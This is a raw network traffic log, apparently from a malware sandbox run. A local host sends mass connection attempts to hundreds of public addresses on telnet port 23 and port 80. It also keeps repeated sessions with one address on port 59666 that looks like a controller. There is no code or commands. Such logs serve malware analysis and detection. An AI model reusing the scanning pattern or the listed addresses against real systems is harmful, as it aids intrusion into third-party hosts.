Feb 4, 2025 18:17:31.402874947 CET	46308	80	192.168.2.23	147.195.143.70
Feb 4, 2025 18:17:31.402874947 CET	46308	80	192.168.2.23	117.136.154.59
Feb 4, 2025 18:17:31.402875900 CET	46308	80	192.168.2.23	92.43.72.50
Feb 4, 2025 18:17:31.402879000 CET	46308	80	192.168.2.23	135.140.139.114
Feb 4, 2025 18:17:31.403182030 CET	80	46308	121.163.96.192	192.168.2.23
Feb 4, 2025 18:17:31.403187037 CET	80	46308	57.189.18.20	192.168.2.23
Feb 4, 2025 18:17:31.403192043 CET	80	46308	179.2.67.107	192.168.2.23
Feb 4, 2025 18:17:31.403201103 CET	80	46308	90.191.25.228	192.168.2.23
Feb 4, 2025 18:17:31.403206110 CET	80	46308	223.26.5.177	192.168.2.23
Feb 4, 2025 18:17:31.403209925 CET	80	46308	40.57.190.64	192.168.2.23
Feb 4, 2025 18:17:31.403214931 CET	80	46308	59.26.146.19	192.168.2.23
Feb 4, 2025 18:17:31.403218985 CET	80	46308	184.123.108.239	192.168.2.23
Feb 4, 2025 18:17:31.403223991 CET	80	46308	131.10.253.110	192.168.2.23
Feb 4, 2025 18:17:31.403232098 CET	46308	80	192.168.2.23	57.189.18.20
Feb 4, 2025 18:17:31.403235912 CET	46308	80	192.168.2.23	121.163.96.192
Feb 4, 2025 18:17:31.403235912 CET	80	46308	96.68.217.233	192.168.2.23
Feb 4, 2025 18:17:31.403235912 CET	46308	80	192.168.2.23	179.2.67.107
Feb 4, 2025 18:17:31.403243065 CET	80	46308	98.17.33.21	192.168.2.23
Feb 4, 2025 18:17:31.403240919 CET	46308	80	192.168.2.23	223.26.5.177
Feb 4, 2025 18:17:31.403242111 CET	46308	80	192.168.2.23	90.191.25.228
Feb 4, 2025 18:17:31.403244972 CET	46308	80	192.168.2.23	40.57.190.64
Feb 4, 2025 18:17:31.403248072 CET	80	46308	135.64.211.67	192.168.2.23
Feb 4, 2025 18:17:31.403253078 CET	80	46308	196.164.107.157	192.168.2.23
Feb 4, 2025 18:17:31.403255939 CET	46308	80	192.168.2.23	184.123.108.239
Feb 4, 2025 18:17:31.403255939 CET	46308	80	192.168.2.23	131.10.253.110
Feb 4, 2025 18:17:31.403255939 CET	46308	80	192.168.2.23	59.26.146.19
Feb 4, 2025 18:17:31.403258085 CET	80	46308	93.42.230.73	192.168.2.23
Feb 4, 2025 18:17:31.403261900 CET	80	46308	78.121.129.174	192.168.2.23
Feb 4, 2025 18:17:31.403266907 CET	80	46308	78.124.216.237	192.168.2.23
Feb 4, 2025 18:17:31.403270960 CET	80	46308	37.85.165.15	192.168.2.23
Feb 4, 2025 18:17:31.403283119 CET	46308	80	192.168.2.23	96.68.217.233
Feb 4, 2025 18:17:31.403296947 CET	46308	80	192.168.2.23	78.121.129.174
Feb 4, 2025 18:17:31.403296947 CET	46308	80	192.168.2.23	98.17.33.21
Feb 4, 2025 18:17:31.403299093 CET	46308	80	192.168.2.23	135.64.211.67
Feb 4, 2025 18:17:31.403296947 CET	46308	80	192.168.2.23	93.42.230.73
Feb 4, 2025 18:17:31.403301001 CET	46308	80	192.168.2.23	196.164.107.157
Feb 4, 2025 18:17:31.403306007 CET	46308	80	192.168.2.23	78.124.216.237
Feb 4, 2025 18:17:31.403316975 CET	46308	80	192.168.2.23	37.85.165.15
Feb 4, 2025 18:17:31.408374071 CET	59666	39650	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:31.408457041 CET	39650	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:31.408490896 CET	39650	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:31.413244963 CET	59666	39650	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:31.413305044 CET	39650	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:31.418066978 CET	59666	39650	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:31.729257107 CET	43928	443	192.168.2.23	91.189.91.42
Feb 4, 2025 18:17:32.143354893 CET	59666	39650	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:32.143497944 CET	39650	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.143646955 CET	39650	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.150734901 CET	39652	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.155605078 CET	59666	39652	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:32.155678034 CET	39652	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.155694008 CET	39652	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.160876989 CET	59666	39652	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:32.160936117 CET	39652	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.166307926 CET	59666	39652	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:32.376368046 CET	47076	23	192.168.2.23	48.228.185.90
Feb 4, 2025 18:17:32.376384974 CET	47076	23	192.168.2.23	52.75.149.80
Feb 4, 2025 18:17:32.376386881 CET	47076	23	192.168.2.23	36.187.228.199
Feb 4, 2025 18:17:32.376386881 CET	47076	23	192.168.2.23	109.105.127.149
Feb 4, 2025 18:17:32.376389027 CET	47076	23	192.168.2.23	69.166.102.253
Feb 4, 2025 18:17:32.376384974 CET	47076	23	192.168.2.23	131.34.185.232
Feb 4, 2025 18:17:32.376384974 CET	47076	23	192.168.2.23	12.108.53.101
Feb 4, 2025 18:17:32.376389027 CET	47076	23	192.168.2.23	211.78.50.129
Feb 4, 2025 18:17:32.376389027 CET	47076	23	192.168.2.23	185.106.159.179
Feb 4, 2025 18:17:32.376399994 CET	47076	23	192.168.2.23	182.152.188.196
Feb 4, 2025 18:17:32.376399994 CET	47076	23	192.168.2.23	58.5.147.126
Feb 4, 2025 18:17:32.376399994 CET	47076	23	192.168.2.23	54.8.74.198
Feb 4, 2025 18:17:32.376405954 CET	47076	23	192.168.2.23	175.182.120.125
Feb 4, 2025 18:17:32.376405954 CET	47076	23	192.168.2.23	82.31.189.28
Feb 4, 2025 18:17:32.376405954 CET	47076	23	192.168.2.23	14.117.104.170
Feb 4, 2025 18:17:32.376405954 CET	47076	23	192.168.2.23	1.171.104.47
Feb 4, 2025 18:17:32.376405954 CET	47076	23	192.168.2.23	142.141.21.89
Feb 4, 2025 18:17:32.376405954 CET	47076	23	192.168.2.23	169.187.163.130
Feb 4, 2025 18:17:32.376435995 CET	47076	23	192.168.2.23	164.163.241.49
Feb 4, 2025 18:17:32.376435995 CET	47076	23	192.168.2.23	90.56.243.166
Feb 4, 2025 18:17:32.376435995 CET	47076	23	192.168.2.23	102.175.100.157
Feb 4, 2025 18:17:32.376441956 CET	47076	23	192.168.2.23	113.16.224.221
Feb 4, 2025 18:17:32.376441956 CET	47076	23	192.168.2.23	151.22.123.193
Feb 4, 2025 18:17:32.376441956 CET	47076	23	192.168.2.23	64.59.217.184
Feb 4, 2025 18:17:32.376449108 CET	47076	23	192.168.2.23	111.73.206.219
Feb 4, 2025 18:17:32.376449108 CET	47076	23	192.168.2.23	155.38.105.43
Feb 4, 2025 18:17:32.376451969 CET	47076	23	192.168.2.23	68.91.22.255
Feb 4, 2025 18:17:32.376452923 CET	47076	23	192.168.2.23	131.64.54.146
Feb 4, 2025 18:17:32.376452923 CET	47076	23	192.168.2.23	147.22.81.167
Feb 4, 2025 18:17:32.376465082 CET	47076	23	192.168.2.23	141.46.176.155
Feb 4, 2025 18:17:32.376466036 CET	47076	23	192.168.2.23	90.39.138.55
Feb 4, 2025 18:17:32.376466036 CET	47076	23	192.168.2.23	69.152.18.4
Feb 4, 2025 18:17:32.376466036 CET	47076	23	192.168.2.23	186.134.63.123
Feb 4, 2025 18:17:32.376480103 CET	47076	23	192.168.2.23	92.206.210.107
Feb 4, 2025 18:17:32.376480103 CET	47076	23	192.168.2.23	64.64.104.133
Feb 4, 2025 18:17:32.376482964 CET	47076	23	192.168.2.23	223.156.214.134
Feb 4, 2025 18:17:32.376491070 CET	47076	23	192.168.2.23	25.72.119.54
Feb 4, 2025 18:17:32.376494884 CET	47076	23	192.168.2.23	82.145.163.39
Feb 4, 2025 18:17:32.376494884 CET	47076	23	192.168.2.23	125.242.198.2
Feb 4, 2025 18:17:32.376498938 CET	47076	23	192.168.2.23	78.182.71.22
Feb 4, 2025 18:17:32.376503944 CET	47076	23	192.168.2.23	17.253.84.168
Feb 4, 2025 18:17:32.376511097 CET	47076	23	192.168.2.23	139.21.64.69
Feb 4, 2025 18:17:32.376512051 CET	47076	23	192.168.2.23	209.36.11.114
Feb 4, 2025 18:17:32.376512051 CET	47076	23	192.168.2.23	198.117.1.137
Feb 4, 2025 18:17:32.376514912 CET	47076	23	192.168.2.23	34.56.204.136
Feb 4, 2025 18:17:32.376518965 CET	47076	23	192.168.2.23	70.4.144.191
Feb 4, 2025 18:17:32.376518965 CET	47076	23	192.168.2.23	87.186.21.25
Feb 4, 2025 18:17:32.376532078 CET	47076	23	192.168.2.23	181.241.207.246
Feb 4, 2025 18:17:32.376532078 CET	47076	23	192.168.2.23	101.176.184.34
Feb 4, 2025 18:17:32.376532078 CET	47076	23	192.168.2.23	213.237.197.160
Feb 4, 2025 18:17:32.376543999 CET	47076	23	192.168.2.23	85.3.114.25
Feb 4, 2025 18:17:32.376550913 CET	47076	23	192.168.2.23	139.23.221.205
Feb 4, 2025 18:17:32.376559973 CET	47076	23	192.168.2.23	204.249.179.101
Feb 4, 2025 18:17:32.376565933 CET	47076	23	192.168.2.23	146.235.120.108
Feb 4, 2025 18:17:32.376565933 CET	47076	23	192.168.2.23	58.136.237.235
Feb 4, 2025 18:17:32.376570940 CET	47076	23	192.168.2.23	24.217.146.239
Feb 4, 2025 18:17:32.376590014 CET	47076	23	192.168.2.23	13.67.227.42
Feb 4, 2025 18:17:32.376591921 CET	47076	23	192.168.2.23	156.100.251.35
Feb 4, 2025 18:17:32.376595974 CET	47076	23	192.168.2.23	197.179.33.64
Feb 4, 2025 18:17:32.376595974 CET	47076	23	192.168.2.23	149.42.22.46
Feb 4, 2025 18:17:32.376605988 CET	47076	23	192.168.2.23	198.165.217.202
Feb 4, 2025 18:17:32.376609087 CET	47076	23	192.168.2.23	13.238.73.211
Feb 4, 2025 18:17:32.376624107 CET	47076	23	192.168.2.23	137.136.153.60
Feb 4, 2025 18:17:32.376626968 CET	47076	23	192.168.2.23	96.232.39.57
Feb 4, 2025 18:17:32.376627922 CET	47076	23	192.168.2.23	120.101.6.251
Feb 4, 2025 18:17:32.376627922 CET	47076	23	192.168.2.23	50.208.26.209
Feb 4, 2025 18:17:32.376640081 CET	47076	23	192.168.2.23	109.221.41.248
Feb 4, 2025 18:17:32.376640081 CET	47076	23	192.168.2.23	159.73.87.96
Feb 4, 2025 18:17:32.376655102 CET	47076	23	192.168.2.23	197.84.91.234
Feb 4, 2025 18:17:32.376655102 CET	47076	23	192.168.2.23	64.2.2.11
Feb 4, 2025 18:17:32.376660109 CET	47076	23	192.168.2.23	165.92.23.201
Feb 4, 2025 18:17:32.376660109 CET	47076	23	192.168.2.23	206.250.117.220
Feb 4, 2025 18:17:32.376662016 CET	47076	23	192.168.2.23	131.212.111.214
Feb 4, 2025 18:17:32.376662970 CET	47076	23	192.168.2.23	147.153.103.149
Feb 4, 2025 18:17:32.376669884 CET	47076	23	192.168.2.23	197.6.225.36
Feb 4, 2025 18:17:32.376672983 CET	47076	23	192.168.2.23	186.252.140.91
Feb 4, 2025 18:17:32.376692057 CET	47076	23	192.168.2.23	126.204.241.87
Feb 4, 2025 18:17:32.376692057 CET	47076	23	192.168.2.23	42.146.253.164
Feb 4, 2025 18:17:32.376693010 CET	47076	23	192.168.2.23	105.209.121.50
Feb 4, 2025 18:17:32.376693964 CET	47076	23	192.168.2.23	70.239.28.134
Feb 4, 2025 18:17:32.376694918 CET	47076	23	192.168.2.23	112.59.22.254
Feb 4, 2025 18:17:32.376698017 CET	47076	23	192.168.2.23	76.254.235.231
Feb 4, 2025 18:17:32.376698017 CET	47076	23	192.168.2.23	180.253.95.153
Feb 4, 2025 18:17:32.376704931 CET	47076	23	192.168.2.23	68.224.150.122
Feb 4, 2025 18:17:32.376709938 CET	47076	23	192.168.2.23	97.254.3.21
Feb 4, 2025 18:17:32.376713037 CET	47076	23	192.168.2.23	83.243.144.217
Feb 4, 2025 18:17:32.376719952 CET	47076	23	192.168.2.23	135.206.38.250
Feb 4, 2025 18:17:32.376722097 CET	47076	23	192.168.2.23	4.74.229.32
Feb 4, 2025 18:17:32.376727104 CET	47076	23	192.168.2.23	206.134.227.218
Feb 4, 2025 18:17:32.376728058 CET	47076	23	192.168.2.23	205.149.193.221
Feb 4, 2025 18:17:32.376737118 CET	47076	23	192.168.2.23	207.39.149.165
Feb 4, 2025 18:17:32.376739025 CET	47076	23	192.168.2.23	52.177.180.128
Feb 4, 2025 18:17:32.376740932 CET	47076	23	192.168.2.23	166.37.106.32
Feb 4, 2025 18:17:32.376740932 CET	47076	23	192.168.2.23	89.40.99.77
Feb 4, 2025 18:17:32.376744032 CET	47076	23	192.168.2.23	58.215.171.116
Feb 4, 2025 18:17:32.376744032 CET	47076	23	192.168.2.23	149.35.43.126
Feb 4, 2025 18:17:32.376753092 CET	47076	23	192.168.2.23	222.85.222.154
Feb 4, 2025 18:17:32.376760960 CET	47076	23	192.168.2.23	144.187.165.226
Feb 4, 2025 18:17:32.376769066 CET	47076	23	192.168.2.23	212.120.184.40
Feb 4, 2025 18:17:32.376780987 CET	47076	23	192.168.2.23	188.129.71.134
Feb 4, 2025 18:17:32.376782894 CET	47076	23	192.168.2.23	98.6.249.162
Feb 4, 2025 18:17:32.376790047 CET	47076	23	192.168.2.23	100.181.106.142
Feb 4, 2025 18:17:32.376795053 CET	47076	23	192.168.2.23	99.251.192.200
Feb 4, 2025 18:17:32.376802921 CET	47076	23	192.168.2.23	103.32.97.243
Feb 4, 2025 18:17:32.376807928 CET	47076	23	192.168.2.23	60.221.236.159
Feb 4, 2025 18:17:32.376823902 CET	47076	23	192.168.2.23	129.87.164.7
Feb 4, 2025 18:17:32.376823902 CET	47076	23	192.168.2.23	223.117.123.226
Feb 4, 2025 18:17:32.376827002 CET	47076	23	192.168.2.23	182.24.106.241
Feb 4, 2025 18:17:32.376823902 CET	47076	23	192.168.2.23	210.11.136.230
Feb 4, 2025 18:17:32.376828909 CET	47076	23	192.168.2.23	44.165.208.108
Feb 4, 2025 18:17:32.376837015 CET	47076	23	192.168.2.23	164.240.145.12
Feb 4, 2025 18:17:32.376837969 CET	47076	23	192.168.2.23	117.116.3.15
Feb 4, 2025 18:17:32.376841068 CET	47076	23	192.168.2.23	143.252.1.100
Feb 4, 2025 18:17:32.376842022 CET	47076	23	192.168.2.23	70.193.162.55
Feb 4, 2025 18:17:32.376842022 CET	47076	23	192.168.2.23	179.45.97.62
Feb 4, 2025 18:17:32.376842022 CET	47076	23	192.168.2.23	36.108.78.2
Feb 4, 2025 18:17:32.376852036 CET	47076	23	192.168.2.23	54.142.36.14
Feb 4, 2025 18:17:32.376858950 CET	47076	23	192.168.2.23	148.124.78.138
Feb 4, 2025 18:17:32.376859903 CET	47076	23	192.168.2.23	129.175.192.185
Feb 4, 2025 18:17:32.376859903 CET	47076	23	192.168.2.23	108.237.9.3
Feb 4, 2025 18:17:32.376866102 CET	47076	23	192.168.2.23	204.207.247.147
Feb 4, 2025 18:17:32.376877069 CET	47076	23	192.168.2.23	68.5.253.131
Feb 4, 2025 18:17:32.376878023 CET	47076	23	192.168.2.23	47.40.234.108
Feb 4, 2025 18:17:32.376893044 CET	47076	23	192.168.2.23	139.35.19.14
Feb 4, 2025 18:17:32.376893044 CET	47076	23	192.168.2.23	150.141.201.2
Feb 4, 2025 18:17:32.376893044 CET	47076	23	192.168.2.23	119.154.15.142
Feb 4, 2025 18:17:32.376902103 CET	47076	23	192.168.2.23	83.249.133.80
Feb 4, 2025 18:17:32.376918077 CET	47076	23	192.168.2.23	178.210.8.199
Feb 4, 2025 18:17:32.376919985 CET	47076	23	192.168.2.23	129.75.136.0
Feb 4, 2025 18:17:32.376923084 CET	47076	23	192.168.2.23	37.204.37.61
Feb 4, 2025 18:17:32.376924038 CET	47076	23	192.168.2.23	198.44.143.254
Feb 4, 2025 18:17:32.376929998 CET	47076	23	192.168.2.23	61.172.247.4
Feb 4, 2025 18:17:32.376930952 CET	47076	23	192.168.2.23	99.72.40.191
Feb 4, 2025 18:17:32.376929998 CET	47076	23	192.168.2.23	1.89.243.66
Feb 4, 2025 18:17:32.376946926 CET	47076	23	192.168.2.23	122.103.146.92
Feb 4, 2025 18:17:32.376946926 CET	47076	23	192.168.2.23	222.154.203.224
Feb 4, 2025 18:17:32.376949072 CET	47076	23	192.168.2.23	123.1.210.242
Feb 4, 2025 18:17:32.376967907 CET	47076	23	192.168.2.23	79.191.73.1
Feb 4, 2025 18:17:32.376970053 CET	47076	23	192.168.2.23	51.252.110.68
Feb 4, 2025 18:17:32.376970053 CET	47076	23	192.168.2.23	208.211.9.254
Feb 4, 2025 18:17:32.376972914 CET	47076	23	192.168.2.23	92.213.135.243
Feb 4, 2025 18:17:32.376972914 CET	47076	23	192.168.2.23	112.59.1.211
Feb 4, 2025 18:17:32.376981974 CET	47076	23	192.168.2.23	27.10.232.30
Feb 4, 2025 18:17:32.376981974 CET	47076	23	192.168.2.23	142.23.77.7
Feb 4, 2025 18:17:32.376982927 CET	47076	23	192.168.2.23	112.179.206.130
Feb 4, 2025 18:17:32.376995087 CET	47076	23	192.168.2.23	175.158.124.137
Feb 4, 2025 18:17:32.376996040 CET	47076	23	192.168.2.23	222.246.102.205
Feb 4, 2025 18:17:32.376996040 CET	47076	23	192.168.2.23	51.145.150.17
Feb 4, 2025 18:17:32.376996040 CET	47076	23	192.168.2.23	59.207.55.34
Feb 4, 2025 18:17:32.377001047 CET	47076	23	192.168.2.23	211.204.133.240
Feb 4, 2025 18:17:32.377007008 CET	47076	23	192.168.2.23	125.71.130.242
Feb 4, 2025 18:17:32.377010107 CET	47076	23	192.168.2.23	218.162.132.157
Feb 4, 2025 18:17:32.377010107 CET	47076	23	192.168.2.23	110.56.21.41
Feb 4, 2025 18:17:32.377010107 CET	47076	23	192.168.2.23	159.91.167.37
Feb 4, 2025 18:17:32.377010107 CET	47076	23	192.168.2.23	202.96.208.135
Feb 4, 2025 18:17:32.377010107 CET	47076	23	192.168.2.23	212.254.112.22
Feb 4, 2025 18:17:32.377010107 CET	47076	23	192.168.2.23	188.114.210.62
Feb 4, 2025 18:17:32.377012014 CET	47076	23	192.168.2.23	69.166.201.133
Feb 4, 2025 18:17:32.377016068 CET	47076	23	192.168.2.23	94.10.219.141
Feb 4, 2025 18:17:32.377017975 CET	47076	23	192.168.2.23	64.173.227.222
Feb 4, 2025 18:17:32.377017975 CET	47076	23	192.168.2.23	118.230.134.203
Feb 4, 2025 18:17:32.377018929 CET	47076	23	192.168.2.23	87.46.3.241
Feb 4, 2025 18:17:32.377054930 CET	47076	23	192.168.2.23	210.203.155.188
Feb 4, 2025 18:17:32.377058029 CET	47076	23	192.168.2.23	171.186.200.10
Feb 4, 2025 18:17:32.377063036 CET	47076	23	192.168.2.23	124.191.121.9
Feb 4, 2025 18:17:32.377063990 CET	47076	23	192.168.2.23	118.161.173.46
Feb 4, 2025 18:17:32.377063990 CET	47076	23	192.168.2.23	200.218.72.75
Feb 4, 2025 18:17:32.377070904 CET	47076	23	192.168.2.23	108.200.172.225
Feb 4, 2025 18:17:32.377073050 CET	47076	23	192.168.2.23	199.136.137.74
Feb 4, 2025 18:17:32.377073050 CET	47076	23	192.168.2.23	109.232.76.223
Feb 4, 2025 18:17:32.377087116 CET	47076	23	192.168.2.23	145.183.243.188
Feb 4, 2025 18:17:32.377089977 CET	47076	23	192.168.2.23	23.210.161.220
Feb 4, 2025 18:17:32.377089977 CET	47076	23	192.168.2.23	197.148.147.251
Feb 4, 2025 18:17:32.377108097 CET	47076	23	192.168.2.23	128.178.133.163
Feb 4, 2025 18:17:32.377110958 CET	47076	23	192.168.2.23	223.137.67.150
Feb 4, 2025 18:17:32.377110958 CET	47076	23	192.168.2.23	208.247.10.101
Feb 4, 2025 18:17:32.377110958 CET	47076	23	192.168.2.23	131.23.16.2
Feb 4, 2025 18:17:32.377115011 CET	47076	23	192.168.2.23	45.198.114.201
Feb 4, 2025 18:17:32.377155066 CET	47076	23	192.168.2.23	163.228.11.15
Feb 4, 2025 18:17:32.377155066 CET	47076	23	192.168.2.23	65.33.251.248
Feb 4, 2025 18:17:32.377155066 CET	47076	23	192.168.2.23	126.121.9.174
Feb 4, 2025 18:17:32.377156019 CET	47076	23	192.168.2.23	14.207.73.239
Feb 4, 2025 18:17:32.377156019 CET	47076	23	192.168.2.23	36.127.91.226
Feb 4, 2025 18:17:32.377156019 CET	47076	23	192.168.2.23	44.245.42.6
Feb 4, 2025 18:17:32.377167940 CET	47076	23	192.168.2.23	126.9.47.183
Feb 4, 2025 18:17:32.377167940 CET	47076	23	192.168.2.23	61.147.21.175
Feb 4, 2025 18:17:32.377167940 CET	47076	23	192.168.2.23	171.205.57.233
Feb 4, 2025 18:17:32.377171993 CET	47076	23	192.168.2.23	102.220.127.157
Feb 4, 2025 18:17:32.377167940 CET	47076	23	192.168.2.23	174.6.73.144
Feb 4, 2025 18:17:32.377172947 CET	47076	23	192.168.2.23	112.45.99.46
Feb 4, 2025 18:17:32.377175093 CET	47076	23	192.168.2.23	166.236.234.61
Feb 4, 2025 18:17:32.377187014 CET	47076	23	192.168.2.23	133.149.197.161
Feb 4, 2025 18:17:32.377198935 CET	47076	23	192.168.2.23	47.33.100.105
Feb 4, 2025 18:17:32.377198935 CET	47076	23	192.168.2.23	32.194.3.116
Feb 4, 2025 18:17:32.377199888 CET	47076	23	192.168.2.23	142.1.248.192
Feb 4, 2025 18:17:32.377199888 CET	47076	23	192.168.2.23	83.7.8.83
Feb 4, 2025 18:17:32.377201080 CET	47076	23	192.168.2.23	46.86.95.93
Feb 4, 2025 18:17:32.377198935 CET	47076	23	192.168.2.23	151.166.67.213
Feb 4, 2025 18:17:32.377199888 CET	47076	23	192.168.2.23	152.132.83.59
Feb 4, 2025 18:17:32.377202034 CET	47076	23	192.168.2.23	76.247.219.121
Feb 4, 2025 18:17:32.377198935 CET	47076	23	192.168.2.23	153.5.201.24
Feb 4, 2025 18:17:32.377202034 CET	47076	23	192.168.2.23	72.129.105.30
Feb 4, 2025 18:17:32.377201080 CET	47076	23	192.168.2.23	204.197.16.37
Feb 4, 2025 18:17:32.377199888 CET	47076	23	192.168.2.23	178.232.203.8
Feb 4, 2025 18:17:32.377199888 CET	47076	23	192.168.2.23	162.174.190.145
Feb 4, 2025 18:17:32.377213955 CET	47076	23	192.168.2.23	186.121.248.170
Feb 4, 2025 18:17:32.377213955 CET	47076	23	192.168.2.23	116.192.181.117
Feb 4, 2025 18:17:32.377213955 CET	47076	23	192.168.2.23	117.223.44.209
Feb 4, 2025 18:17:32.377214909 CET	47076	23	192.168.2.23	100.31.80.19
Feb 4, 2025 18:17:32.377214909 CET	47076	23	192.168.2.23	126.216.224.229
Feb 4, 2025 18:17:32.377218008 CET	47076	23	192.168.2.23	101.151.73.50
Feb 4, 2025 18:17:32.377221107 CET	47076	23	192.168.2.23	84.130.192.200
Feb 4, 2025 18:17:32.377221107 CET	47076	23	192.168.2.23	154.233.186.91
Feb 4, 2025 18:17:32.377221107 CET	47076	23	192.168.2.23	44.194.160.178
Feb 4, 2025 18:17:32.377233982 CET	47076	23	192.168.2.23	196.190.243.215
Feb 4, 2025 18:17:32.377247095 CET	47076	23	192.168.2.23	95.28.29.50
Feb 4, 2025 18:17:32.377249002 CET	47076	23	192.168.2.23	184.136.175.87
Feb 4, 2025 18:17:32.377254009 CET	47076	23	192.168.2.23	9.143.206.76
Feb 4, 2025 18:17:32.377254963 CET	47076	23	192.168.2.23	82.240.237.74
Feb 4, 2025 18:17:32.377254963 CET	47076	23	192.168.2.23	69.15.161.37
Feb 4, 2025 18:17:32.377254963 CET	47076	23	192.168.2.23	37.237.111.2
Feb 4, 2025 18:17:32.377254963 CET	47076	23	192.168.2.23	23.176.22.243
Feb 4, 2025 18:17:32.377255917 CET	47076	23	192.168.2.23	32.251.183.210
Feb 4, 2025 18:17:32.377254963 CET	47076	23	192.168.2.23	98.25.82.142
Feb 4, 2025 18:17:32.377255917 CET	47076	23	192.168.2.23	171.49.127.57
Feb 4, 2025 18:17:32.377264977 CET	47076	23	192.168.2.23	195.152.158.255
Feb 4, 2025 18:17:32.377268076 CET	47076	23	192.168.2.23	94.105.195.239
Feb 4, 2025 18:17:32.377268076 CET	47076	23	192.168.2.23	59.101.233.45
Feb 4, 2025 18:17:32.377268076 CET	47076	23	192.168.2.23	115.224.171.66
Feb 4, 2025 18:17:32.377268076 CET	47076	23	192.168.2.23	115.37.4.85
Feb 4, 2025 18:17:32.377275944 CET	47076	23	192.168.2.23	113.4.74.10
Feb 4, 2025 18:17:32.377276897 CET	47076	23	192.168.2.23	216.194.99.30
Feb 4, 2025 18:17:32.377279997 CET	47076	23	192.168.2.23	218.6.55.106
Feb 4, 2025 18:17:32.377288103 CET	47076	23	192.168.2.23	188.86.46.8
Feb 4, 2025 18:17:32.377288103 CET	47076	23	192.168.2.23	165.235.172.45
Feb 4, 2025 18:17:32.377288103 CET	47076	23	192.168.2.23	118.223.128.179
Feb 4, 2025 18:17:32.377288103 CET	47076	23	192.168.2.23	85.32.5.203
Feb 4, 2025 18:17:32.377288103 CET	47076	23	192.168.2.23	221.236.58.79
Feb 4, 2025 18:17:32.377288103 CET	47076	23	192.168.2.23	44.89.37.174
Feb 4, 2025 18:17:32.377288103 CET	47076	23	192.168.2.23	114.231.148.71
Feb 4, 2025 18:17:32.377288103 CET	47076	23	192.168.2.23	157.181.34.106
Feb 4, 2025 18:17:32.377298117 CET	47076	23	192.168.2.23	171.232.255.152
Feb 4, 2025 18:17:32.377298117 CET	47076	23	192.168.2.23	192.17.196.1
Feb 4, 2025 18:17:32.377298117 CET	47076	23	192.168.2.23	114.34.173.123
Feb 4, 2025 18:17:32.377298117 CET	47076	23	192.168.2.23	53.59.225.222
Feb 4, 2025 18:17:32.377298117 CET	47076	23	192.168.2.23	81.42.76.229
Feb 4, 2025 18:17:32.377310038 CET	47076	23	192.168.2.23	129.36.129.59
Feb 4, 2025 18:17:32.377310038 CET	47076	23	192.168.2.23	93.178.51.85
Feb 4, 2025 18:17:32.377310038 CET	47076	23	192.168.2.23	150.225.56.25
Feb 4, 2025 18:17:32.377319098 CET	47076	23	192.168.2.23	205.16.99.153
Feb 4, 2025 18:17:32.377321959 CET	47076	23	192.168.2.23	117.240.55.244
Feb 4, 2025 18:17:32.377321959 CET	47076	23	192.168.2.23	199.195.55.254
Feb 4, 2025 18:17:32.377321959 CET	47076	23	192.168.2.23	119.216.180.79
Feb 4, 2025 18:17:32.377324104 CET	47076	23	192.168.2.23	144.1.104.254
Feb 4, 2025 18:17:32.377324104 CET	47076	23	192.168.2.23	73.25.11.151
Feb 4, 2025 18:17:32.377325058 CET	47076	23	192.168.2.23	31.94.56.206
Feb 4, 2025 18:17:32.377324104 CET	47076	23	192.168.2.23	194.117.134.222
Feb 4, 2025 18:17:32.377325058 CET	47076	23	192.168.2.23	111.110.36.26
Feb 4, 2025 18:17:32.377324104 CET	47076	23	192.168.2.23	47.196.54.42
Feb 4, 2025 18:17:32.377336979 CET	47076	23	192.168.2.23	216.192.230.71
Feb 4, 2025 18:17:32.377336979 CET	47076	23	192.168.2.23	217.96.34.81
Feb 4, 2025 18:17:32.377338886 CET	47076	23	192.168.2.23	60.111.211.178
Feb 4, 2025 18:17:32.377341032 CET	47076	23	192.168.2.23	136.140.94.121
Feb 4, 2025 18:17:32.377341032 CET	47076	23	192.168.2.23	84.127.84.241
Feb 4, 2025 18:17:32.377341032 CET	47076	23	192.168.2.23	9.227.35.199
Feb 4, 2025 18:17:32.377341986 CET	47076	23	192.168.2.23	60.8.26.66
Feb 4, 2025 18:17:32.377341032 CET	47076	23	192.168.2.23	85.253.47.195
Feb 4, 2025 18:17:32.377342939 CET	47076	23	192.168.2.23	166.206.143.172
Feb 4, 2025 18:17:32.377341032 CET	47076	23	192.168.2.23	158.100.218.194
Feb 4, 2025 18:17:32.377341032 CET	47076	23	192.168.2.23	35.252.80.152
Feb 4, 2025 18:17:32.377342939 CET	47076	23	192.168.2.23	172.242.3.115
Feb 4, 2025 18:17:32.377346039 CET	47076	23	192.168.2.23	101.1.255.12
Feb 4, 2025 18:17:32.377342939 CET	47076	23	192.168.2.23	209.180.43.224
Feb 4, 2025 18:17:32.377342939 CET	47076	23	192.168.2.23	123.79.97.116
Feb 4, 2025 18:17:32.377352953 CET	47076	23	192.168.2.23	65.80.147.60
Feb 4, 2025 18:17:32.377355099 CET	47076	23	192.168.2.23	158.152.182.28
Feb 4, 2025 18:17:32.377355099 CET	47076	23	192.168.2.23	44.181.135.186
Feb 4, 2025 18:17:32.377365112 CET	47076	23	192.168.2.23	154.165.175.129
Feb 4, 2025 18:17:32.377366066 CET	47076	23	192.168.2.23	101.118.230.73
Feb 4, 2025 18:17:32.377365112 CET	47076	23	192.168.2.23	153.201.11.219
Feb 4, 2025 18:17:32.377366066 CET	47076	23	192.168.2.23	47.234.141.83
Feb 4, 2025 18:17:32.377365112 CET	47076	23	192.168.2.23	205.215.96.9
Feb 4, 2025 18:17:32.377365112 CET	47076	23	192.168.2.23	142.232.220.252
Feb 4, 2025 18:17:32.377366066 CET	47076	23	192.168.2.23	131.105.223.73
Feb 4, 2025 18:17:32.377365112 CET	47076	23	192.168.2.23	67.156.202.81
